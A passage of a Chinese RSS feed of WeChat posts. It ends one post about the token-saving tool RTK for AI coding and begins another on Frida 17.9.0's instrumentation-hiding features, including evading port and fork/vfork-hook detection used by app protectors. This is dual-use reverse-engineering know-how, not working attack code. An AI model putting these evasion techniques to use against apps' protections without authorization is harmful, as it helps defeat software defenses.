0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">平时怎么用</span></h2><p data-line="87" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">即便你暂时不想接Hook，也可以先手动用起来：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="89" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">rtk git status</span><br/><span leaf="">rtk cargo </span><span style="color: rgb(0, 122, 204);"><span leaf="">test</span></span><br/><span leaf="">rtk pytest</span><br/><span leaf="">rtk docker ps</span><br/><span leaf="">rtk kubectl pods</span></code></pre><p data-line="97" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RTK现在已经覆盖了100多个常用命令，除了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cargo</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pytest</span></code><span leaf="">，还包括</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">docker</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kubectl</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">gh</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tsc</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ruff</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">go test</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pnpm list</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aws</span></code><span leaf="">这些高频开发场景。</span></p><p data-line="99" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">另外我觉得很实用的一个命令是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="101" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">rtk gain</span></code></pre><p data-line="105" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它会直接告诉你，自己到底省了多少token。不是“感觉省了”，而是能看到统计结果。</span></p><h2 data-line="107" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">值不值得装</span></h2><p data-line="109" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你平时只是偶尔让AI写几行代码，这类工具的收益不会特别夸张。</span></p><p data-line="111" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">但如果你已经把Claude Code、Codex、Cursor这类工具当成重度生产力工具来用，情况就不一样了。项目越大，命令输出越多，RTK这种“先压缩再喂给模型”的工具就越划算。它不改变你的工作流，改的是上下文里那些本来就没必要出现的噪音。</span></p><p data-line="113" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">说白了，这不是一个“看上去很炫”的工具，而是一个很实在的省钱工具。</span></p><p data-line="115" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你最近正被AI编程的token消耗搞得有点肉疼，可以直接试一下。保守地说，省一半；按官方给的数据看，很多场景远不止一半。</span></p><h2 data-line="117" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">参考链接</span></h2><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">RTK GitHub仓库：<a href="https://github.com/rtk-ai/rtk" target="_blank">https://github.com/rtk-ai/rtk</a></span></p></li><li style=""><p><span leaf="">RTK官网：<a href="https://www.rtk-ai.app" target="_blank">https://www.rtk-ai.app</a></span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=07b49946&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485106%26idx%3D1%26sn%3D03017e4e54227de0bf39d95e98e65b81">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 11 Apr 2026 17:37:00 +0800</pubDate>
    </item>
    <item>
      <title>安卓逆向第三阶段试看-ARM64汇编开发与调试环境配置</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485101&amp;idx=1&amp;sn=03c9ace637c5fc7b845c6dd5c862c8d6</link>
      <description>视频有剪辑，完整时长45分钟</description>
      <content:encoded><![CDATA[<p><span>软件安全与逆向分析</span> <span>2026-04-07 14:07</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=99dcb5bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeTicUbEQWkTXnKZ2vO8h9sP7xOp5ibSucZNPrNpiawmviaMra4cYCEuJ2pFtBBESS6bxeun78ednD2iaATicGibOCgMf0txzticZiamWL9Bs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>视频有剪辑，完整时长45分钟</p>
  
        



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9a4433c0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485101%26idx%3D1%26sn%3D03c9ace637c5fc7b845c6dd5c862c8d6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Apr 2026 14:07:00 +0800</pubDate>
    </item>
    <item>
      <title>Frida官方下场做Frida隐藏功能，strongfrida快要死了？17.9.0引入的新功能全解读</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485091&amp;idx=1&amp;sn=96238a9b1f9a023b9d7b2cdf7c9bbb93</link>
      <description>Frida17.9.0引入的新功能解读</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-03-29 10:23</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d0334b56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTicIHMalBlNjC6twOZXoGibWJYiafXFjRsWxsMCnzdoJVoO0hSyicibrBnBTRMDHXRTflM0ia8lFFJsmoRSCZN1B3L3iagy8dTCicQghia4%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">Frida17.9.0引入的新功能解读</span></h1><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida这个版本的更新看上去是将eBPF的能力继续辐射到更多的Frida功能组件上。而且重点是官方将Frida隐藏作为重要的功能提上了日程。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001440" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5548accb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTiccTx7hJPibj4D1Wy2a2kJpGOcex2E6lnPpFoNK2XqRsfXuTbcQDUVfxtNreYqaYXgmUaBR1D0b31Gj2XvTCa7sRibdzNPvJ2icX8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个版本的更新里面，Frida隐藏的部分有：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 0.7em;  "><span leaf="">将ptrace特征彻底隐藏</span></p></li><li style=""><p data-line="8" dir="auto" style=" margin-top: 0px;margin-bottom: 0.7em;  "><span leaf="">隐藏Frida监听端口</span></p></li><li style=""><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 0.7em;  "><span leaf="">隐藏子进程创建监控的特征</span></p></li></ul><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">关于子进程创建监控的特征，我们这里再多说几句。国内X加密的企业版本在检测Frida时，使用了一个比较取巧的方法。重点在于监控进程的fork操作的：<a href="https://github.com/frida/frida-core/blob/main/lib/payload/fork-monitor.vala" target="_blank">https://github.com/frida/frida-core/blob/main/lib/payload/fork-monitor.vala</a> 。它会对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fork</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfork</span></code><span leaf="">进行监控。里面有一行代码：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="14" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">interceptor.replace (vfork_impl, fork_impl);</span></code></pre><p data-line="18" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">意味着它会对这两个接口进行InlineHook，但它们的处理器使用同一个，这两者在进程空间的数据同步上有着一些差异，比如在父进程中的一个全局变量，子进程中它们的数据访问同步规则不同，这就可以用来检测</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fork</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfork</span></code><span leaf="">是否被Hook，进而检测Frida。目前Frida官方并没有实现它的过检测，希望官方能够对其进行处理。这其实需要对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">interceptor.replace</span></code><span leaf="">这类接口做eBPF的大手术，可能会有难度与兼容性的问题出现。</span></p><h2 data-line="20" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">背景</span></h2><p data-line="22" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida 17.9.0（2026年3月26日）紧跟17.8.0发布，带来了几项对安全研究者非常实用的新能力。三个核心更新值得重点关注：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">Linux eBPF spawn gater</span></strong><p><span leaf="">——在内核层面拦截</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">execve</span></code><span leaf="">，实现比传统ptrace方案更隐蔽、更高效的进程捕获。</span></p></li><li style=""><strong><span leaf="">Group-stopped PIDs注入</span></strong><p><span leaf="">——解决了eBPF spawn gater将进程SIGSTOP后无法注入的工程难题。</span></p></li><li style=""><strong><span leaf="">control-endpoint后端选项</span></strong><p><span leaf="">——允许自定义frida-server连接端点，可通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localabstract:</span></code><span leaf="">等非标准端口绕过Frida端口检测。</span></p></li></ol><p data-line="28" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从演进线看，17.8.0完成了eBPF syscall-tracer主线收编，17.9.0则将eBPF的应用范围扩展到spawn gating领域，并围绕它做了完整的工程闭环——从内核拦截到用户态注入再到端口隐藏，形成了一条完整的反检测链路。</span></p><p data-line="28" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001439" data-ratio="0.7837528604118993" data-s="300,640" type="block" data-type="png" data-w="1748" src="https://wechat2rss.xlab.app/img-proxy/?k=d3074961&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8gkibNZglS5TNPASVRgHnqTpFoXyYdtRhlF1mJACJXKKzSoVgj9z3yVicA4E0UryTWTJ59pqlQBnImx2xJCXL0AgyHoAsF3UATs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h2 data-line="30" 